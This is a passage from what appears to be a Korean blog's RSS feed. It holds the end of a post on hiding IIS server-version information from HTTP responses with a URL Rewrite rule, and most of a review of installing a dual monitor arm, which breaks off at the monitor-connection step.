data-origin-height=&quot;1040&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;규칙 적용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;조치 결과&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다시 웹 페이지에 접근해보면&lt;/p&gt;
&lt;p&gt;HTTP Response에서&lt;/p&gt;
&lt;p&gt;서버 정보가 사라진 것을&lt;/p&gt;
&lt;p&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;조치.png&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;384&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OuSJ3/btq0Nwk5NpJ/4O4RTmvmEGBLZpHKLUwi20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OuSJ3/btq0Nwk5NpJ/4O4RTmvmEGBLZpHKLUwi20/img.png&quot; data-alt=&quot;사라진 서버 버전 정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OuSJ3/btq0Nwk5NpJ/4O4RTmvmEGBLZpHKLUwi20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOuSJ3%2Fbtq0Nwk5NpJ%2F4O4RTmvmEGBLZpHKLUwi20%2Fimg.png&quot; data-filename=&quot;조치.png&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;384&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사라진 서버 버전 정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래 X-Powered-By Header를 보면 ASP.NET 이 있는 데&lt;/p&gt;
&lt;p&gt;이 정보 또한 서버 정보 노출에 해당합니다.&lt;/p&gt;
&lt;p&gt;(이 서버에서 ASP.NET을 사용한다는 정보를 노출)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;ASP.NET 정보 삭제 방법은&lt;br /&gt;따로 포스팅할 계획 입니다.&lt;/p&gt;</description>
      <category>Study/스터디</category>
      <category>IIS</category>
      <category>url rewrite</category>
      <category>금취분평</category>
      <category>시스템 운영정보 노출</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/138</guid>
      <comments>https://chmodi.tistory.com/138#entry138comment</comments>
      <pubDate>Tue, 23 Mar 2021 17:36:23 +0900</pubDate>
    </item>
    <item>
      <title>루나랩 듀얼 모니터암 설치 및 사용 후기</title>
      <link>https://chmodi.tistory.com/137</link>
      <description>&lt;p&gt;최근 집에 새로 티비를 사면서&lt;/p&gt;
&lt;p&gt;기존에 쓰던 32인치 티비를 방으로 가져왔습니다.&lt;/p&gt;
&lt;p&gt;듀얼 모니터가 된 김에&lt;/p&gt;
&lt;p&gt;요즘 유행인 모니터암을 구입해서&lt;/p&gt;
&lt;p&gt;만족하며 사용 중입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래는 이번에 구입한 제품입니다.&lt;br /&gt;&lt;span&gt;&lt;a href=&quot;https://coupa.ng/bSsd8D&quot;&gt;https://coupa.ng/bSsd8D&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1614433268560&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;루나랩 듀얼 모니터 암&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/bSsd8D&quot; data-og-url=&quot;https://www.coupang.com/vp/products/1945019607&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cQWo1u/hyJpHPuwlc/P9ygPx7EB0NciZJzf9KLGK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/c7codq/hyJpJ0RIwW/r9g0xM99mb47XSrtyYB0T0/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/bSsd8D&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/bSsd8D&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cQWo1u/hyJpHPuwlc/P9ygPx7EB0NciZJzf9KLGK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/c7codq/hyJpJ0RIwW/r9g0xM99mb47XSrtyYB0T0/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;루나랩 듀얼 모니터 암&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;택배 왔다!&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7Efh3/btqYN2rBkFg/obNxQvIMM6Mkni7cojzeTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7Efh3/btqYN2rBkFg/obNxQvIMM6Mkni7cojzeTK/img.png&quot; data-alt=&quot;택배가 왔다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7Efh3/btqYN2rBkFg/obNxQvIMM6Mkni7cojzeTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7Efh3%2FbtqYN2rBkFg%2FobNxQvIMM6Mkni7cojzeTK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;택배가 왔다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;모니터 암을 사용하려면&lt;/p&gt;
&lt;p&gt;모니터 뒤에 브라켓을 대고 연결해야하는 데&lt;/p&gt;
&lt;p&gt;제 티비의 규격이 모니터 규격보다 커서&lt;/p&gt;
&lt;p&gt;추가 브라켓을 구매했습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;브라켓 규격&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 모니터&lt;/b&gt;: 75 X 75, 100 X 100&lt;br /&gt;&lt;b&gt;- TV&lt;/b&gt;: 200 X 200&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;언박싱&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 모니터 암 택배 상자 언박싱입니다.&lt;/p&gt;
&lt;p&gt;비닐로 보장된 모니터 암과 설명서가 들어있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AdWpZ/btqYB6oMaHd/NHnYWOaBKZ9bmDiL8YqZVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AdWpZ/btqYB6oMaHd/NHnYWOaBKZ9bmDiL8YqZVk/img.png&quot; data-alt=&quot;모니터 암 언박싱&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AdWpZ/btqYB6oMaHd/NHnYWOaBKZ9bmDiL8YqZVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAdWpZ%2FbtqYB6oMaHd%2FNHnYWOaBKZ9bmDiL8YqZVk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;모니터 암 언박싱&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이번에는 브라켓 언박싱입니다.&lt;/p&gt;
&lt;p&gt;브라켓과 나사가 들어있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVIc3L/btqYQv78l3v/jHinwspYAsf3XNuAJpYzmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVIc3L/btqYQv78l3v/jHinwspYAsf3XNuAJpYzmK/img.png&quot; data-alt=&quot;확장 브라켓 언박싱&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVIc3L/btqYQv78l3v/jHinwspYAsf3XNuAJpYzmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVIc3L%2FbtqYQv78l3v%2FjHinwspYAsf3XNuAJpYzmK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;확장 브라켓 언박싱&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;확장 브라켓 부착&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 티비에 확장 브라켓을 부착 했습니다.&lt;/p&gt;
&lt;p&gt;우선 부착할 브라켓을 완성합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLqZY4/btqYE7HCJuK/puFbH6T4HX6UC25kUK4PBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLqZY4/btqYE7HCJuK/puFbH6T4HX6UC25kUK4PBK/img.png&quot; data-alt=&quot;브라켓 완성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLqZY4/btqYE7HCJuK/puFbH6T4HX6UC25kUK4PBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLqZY4%2FbtqYE7HCJuK%2FpuFbH6T4HX6UC25kUK4PBK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;브라켓 완성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;TOP 글씨가 위로 가도록&lt;/p&gt;
&lt;p&gt;티비에 부착해줍니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BCiwD/btqYAs6Nahm/XMEkTKrMNbZ3BrHLaYEkxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BCiwD/btqYAs6Nahm/XMEkTKrMNbZ3BrHLaYEkxK/img.png&quot; data-alt=&quot;브라켓 부착!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BCiwD/btqYAs6Nahm/XMEkTKrMNbZ3BrHLaYEkxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBCiwD%2FbtqYAs6Nahm%2FXMEkTKrMNbZ3BrHLaYEkxK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;브라켓 부착!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;지지대 고정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 모니터 암을 설치합니다.&lt;/p&gt;
&lt;p&gt;지지대를 책상에 고정시킵니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWByr7/btqYDk8nJhf/YrsBAh53s9zPskWtKdfIg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWByr7/btqYDk8nJhf/YrsBAh53s9zPskWtKdfIg0/img.png&quot; data-alt=&quot;지지대. 주먹만하다. 믿음직하다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWByr7/btqYDk8nJhf/YrsBAh53s9zPskWtKdfIg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWByr7%2FbtqYDk8nJhf%2FYrsBAh53s9zPskWtKdfIg0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;지지대. 주먹만하다. 믿음직하다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이렇게 고정시킵니다.&lt;/p&gt;
&lt;p&gt;두께는 키보드 글자 키의 가로 길이 정도?&lt;/p&gt;
&lt;p&gt;반 정도 더 클 수도 있습니다.&lt;/p&gt;
&lt;p&gt;정확하게 재지는 않아서...&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bs72ne/btqYQwTwxpK/87jrNHkC1wpx5PkHcUCaPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bs72ne/btqYQwTwxpK/87jrNHkC1wpx5PkHcUCaPk/img.png&quot; data-alt=&quot;지지대 고정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bs72ne/btqYQwTwxpK/87jrNHkC1wpx5PkHcUCaPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbs72ne%2FbtqYQwTwxpK%2F87jrNHkC1wpx5PkHcUCaPk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;지지대 고정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;암 연결&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;암을 연결할 차례입니다.&lt;/p&gt;
&lt;p&gt;위 아래 두가지가 있으며&lt;/p&gt;
&lt;p&gt;아래 사진이 아래에 위치합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;위로 밀면 공간이 생기는 데&lt;/p&gt;
&lt;p&gt;그곳에 모니터 선을 넣어&lt;/p&gt;
&lt;p&gt;선 정리를 할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;연결 부위엔 부드럽게 돌아가도록&lt;/p&gt;
&lt;p&gt;오일 같은 게 발라져있으니 조심하세요.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XIz9V/btqYN2yofvx/T0yTojVebJDw75aZruxgtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XIz9V/btqYN2yofvx/T0yTojVebJDw75aZruxgtk/img.png&quot; data-alt=&quot;아래 쪽 암&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XIz9V/btqYN2yofvx/T0yTojVebJDw75aZruxgtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXIz9V%2FbtqYN2yofvx%2FT0yTojVebJDw75aZruxgtk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아래 쪽 암&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다 설치하면 아래 처럼 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sb1zs/btqYAtq8eds/I25ZLPAerpcUzVka2iAMFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sb1zs/btqYAtq8eds/I25ZLPAerpcUzVka2iAMFk/img.png&quot; data-alt=&quot;모니터 선이 주렁주렁&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sb1zs/btqYAtq8eds/I25ZLPAerpcUzVka2iAMFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsb1zs%2FbtqYAtq8eds%2FI25ZLPAerpcUzVka2iAMFk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;모니터 선이 주렁주렁&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;모니터 연결&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 모니터를 연결합니다.&lt;/p&gt;
